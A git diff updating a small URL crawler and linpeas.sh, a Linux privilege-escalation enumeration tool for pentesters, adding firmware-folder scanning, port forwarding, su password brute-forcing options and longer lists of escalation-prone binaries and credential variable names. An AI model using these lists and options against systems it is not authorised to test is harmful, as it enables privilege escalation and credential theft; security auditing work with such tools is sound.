diff --git a/crawl_urls.py b/crawl_urls.py index 1f31cfa..c5c326e 100755 --- a/crawl_urls.py +++ b/crawl_urls.py @@ -79,14 +79,15 @@ class Crawler: self.queue.put(parts._replace(netloc=self.domain, scheme=self.scheme,fragment="").geturl()) def collect_urls(self, page): - soup = BeautifulSoup(page, "html.parser") + if not isinstance(page, BeautifulSoup): + page = BeautifulSoup(page, "html.parser") urls = set() attrs = ["src","href","action"] tags = ["a","link","script","img","form"] for tag in tags: - for e in soup.find_all(tag): + for e in page.find_all(tag): for attr in attrs: if e.has_attr(attr): urls.add(e[attr]) diff --git a/linpeas.sh b/linpeas.sh index 2b353d2..c47f1dd 100644 --- a/linpeas.sh +++ b/linpeas.sh @@ -55,38 +55,54 @@ SUPERFAST="" DISCOVERY="" PORTS="" QUIET="" -CHECKS="system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files" +CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex" +SEARCH_IN_FOLDER="" +ROOT_FOLDER="/" WAIT="" PASSWORD="" NOCOLOR="" DEBUG="" AUTO_NETWORK_SCAN="" EXTRA_CHECKS="" +REGEXES="" +PORT_FORWARD="" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" [ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 [ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 HELP=$GREEN"Enumerate and search Privilege Escalation vectors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. - ${YELLOW}-h${BLUE} To show this message - ${YELLOW}-q${BLUE} Do not show banner - ${YELLOW}-e${BLUE} Perform extra enumeration - ${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode - ${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly - ${YELLOW}-w${BLUE} Wait execution between big blocks of checks - ${YELLOW}-N${BLUE} Do not use colours - ${YELLOW}-D${BLUE} Debug mode - ${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' - ${YELLOW}-o${BLUE} Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list. - ${YELLOW}-L${BLUE} Force linpeas execution. - ${YELLOW}-M${BLUE} Force macpeas execution. - ${YELLOW}-d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - ${YELLOW}-p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 - ${YELLOW}-i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 - ${YELLOW}-t${BLUE} Automatic network scan (host discovery and port scanning) - This option writes to files - $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC" + ${GREEN} Checks: + ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list. + ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) + ${YELLOW} -e${BLUE} Perform extra enumeration + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) + ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' + ${YELLOW} -D${BLUE} Debug mode + + ${GREEN} Network recon: + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed + + ${GREEN} Port forwarding: + ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a local IP to a remote IP + + ${GREEN} Firmware recon: + ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder + + ${GREEN} Misc: + ${YELLOW} -h${BLUE} To show this message + ${YELLOW} -w${BLUE} Wait execution between big blocks of checks + ${YELLOW} -L${BLUE} Force linpeas execution + ${YELLOW} -M${BLUE} Force macpeas execution + ${YELLOW} -q${BLUE} Do not show banner + ${YELLOW} -N${BLUE} Do not use colours$NC" -while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do +while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do case "$opt" in h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; a) FAST="";EXTRA_CHECKS="1";; @@ -104,6 +120,16 @@ while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do D) DEBUG="1";; t) AUTO_NETWORK_SCAN="1";; e) EXTRA_CHECKS="1";; + r) REGEXES="1";; + f) SEARCH_IN_FOLDER=$OPTARG; + if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" + SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; + fi; + ROOT_FOLDER=$SEARCH_IN_FOLDER; + REGEXES="1"; + CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_files,api_keys_regex";; + + F) PORT_FORWARD=$OPTARG;; esac done @@ -215,15 +241,15 @@ print_banner(){ print_support () { printf """ - ${GREEN}/---------------------------------------------------------------------------\\ - | ${BLUE}Do you like PEASS?${GREEN} | - |---------------------------------------------------------------------------| - | ${YELLOW}Become a Patreon${GREEN} : ${RED}https://www.patreon.com/peass${GREEN} | - | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | - | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | - |---------------------------------------------------------------------------| - | ${BLUE}Thank you! ${GREEN} | - \---------------------------------------------------------------------------/ + ${GREEN}/---------------------------------------------------------------------------------\\ + | ${BLUE}Do you like PEASS?${GREEN} | + |---------------------------------------------------------------------------------| + | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} | + | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | + | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | + |---------------------------------------------------------------------------------| + | ${BLUE}Thank you! ${GREEN} | + \---------------------------------------------------------------------------------/ """ } @@ -237,7 +263,7 @@ printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; echo "" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" echo "" -printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC +printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," @@ -365,13 +391,13 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" #To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' -sidVB='/ab$|/agetty$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/bash$|/bridge$|/busybox$|/byebug$|/bzip2$|/capsh$|/cat$|/chmod$|/chown$|/chroot$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/dialog$|/diff$|/dig$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/emacs$|/env$|/eqn$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/join$|/jq$|/jrunscript$|/ksh$|/ksshell$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/msgattrib$|/msgcat$|/msgconv$' -sidVB2='/msgfilter$|/msgmerge$|/msguniq$|/mv$|/mysql$|/nano$|/nasm$|/nawk$|/nc$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pg$|/php$|/pic$|/pico$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmquery$|/rsync$|/run-parts$|/rview$|/rvim$|/sash$|/scp$|/sed$|/setarch$|/shuf$|/slsh$|/socat$|/soelim$|/sort$|/sqlite3$|/ss$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tbl$|/tclsh$|/tee$|/telnet$|/tex$|/tftp$|/tic$|/time$|/timeout$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/update-alternatives$|/uudecode$|/uuencode$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/zip$|/zsh$|/zsoelim$' +sidVB='/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/bridge$|/busybox$|/byebug$|/bzip2$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/dialog$|/diff$|/dig$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/emacs$|/env$|/eqn$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/join$|/jq$|/jrunscript$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$' +sidVB2='/mv$|/mysql$|/nano$|/nasm$|/nawk$|/nc$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pg$|/php$|/pic$|/pico$|/pidstat$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/run-parts$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/shuf$|/slsh$|/socat$|/soelim$|/sort$|/sqlite3$|/ss$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tee$|/telnet$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$' cfuncs='file|free|main|more|read|split|write' -sudoVB1=" \*|env_keep\+=LD_PRELOAD|ab$|ansible-playbook$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|base32$|base64$|basenc$|bash$|bpftrace$|bridge$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|capsh$|cat$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|chown$|chroot$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|dialog$|diff$|dig$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dpkg$|dvips$|easy_install$|eb$|ed$|efax$|emacs$|env$|eqn$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|ftp$|gawk$|gcc$|gcore$|gdb$|gem$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|join$|journalctl$|jq$|jrunscript$|knife$|ksh$|ksshell$|latex$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$" -sudoVB2="mount$|msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|mv$|mysql$|nano$|nasm$|nawk$|nc$|neofetch$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|pg$|php$|pic$|pico$|pip$|pkexec$|pkg$|pr$|pry$|psftp$|psql$|ptx$|puppet$|python$|rake$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmquery$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scp$|screen$|script$|sed$|service$|setarch$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|sort$|split$|sqlite3$|ss$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|taskset$|tbl$|tclsh$|tcpdump$|tee$|telnet$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmux$|top$|troff$|ul$|unexpand$|uniq$|unshare$|update-alternatives$|uudecode$|uuencode$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yum$|zip$|zsh$|zsoelim$|zypper$" -sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" +sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|ab$|alpine$|ansible-playbook$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|base32$|base58$|base64$|basenc$|basez$|bash$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|dialog$|diff$|dig$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dpkg$|dvips$|easy_install$|eb$|ed$|efax$|emacs$|env$|eqn$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|join$|journalctl$|jq$|jrunscript$|jtag$|knife$|ksh$|ksshell$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$|mosquitto$|mount$|msgattrib$" +sudoVB2="msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|pr$|pry$|psftp$|psql$|ptx$|puppet$|python$|rake$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|sort$|split$|sqlite3$|ss$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tee$|telnet$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|troff$|ul$|unexpand$|uniq$|unshare$|unzip$|update-alternatives$|uudecode$|uuencode$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$" +sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" sudoG="NOEXEC" capsVB="cap_sys_admin:mount|python \ @@ -386,7 +412,7 @@ cap_net_raw:python|tcpdump" capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" -containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override" +containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" OLDPATH=$PATH ADDPATH=":/usr/local/sbin\ @@ -436,7 +462,7 @@ fi Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') #This variables are dived in several different ones because NetBSD required it -pwd_inside_history="enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" +pwd_inside_history="enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" @@ -474,8 +500,11 @@ while $SEDOVERFLOW; do #else # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` #fi - Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[^\*][^\ ]*\ \*" - Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" + Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm + if ! [ "$Wfolder" ]; then + Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + fi printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 if [ $? -eq 0 ]; then SEDOVERFLOW=false @@ -494,15 +523,15 @@ TIMEOUT="$(command -v timeout 2>/dev/null)" STRACE="$(command -v strace 2>/dev/null)" STRINGS="$(command -v strings 2>/dev/null)" -shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" +shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" notBackup="/tdbbackup$|/db_hotbackup$" -cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-notifier-common|upstart|" 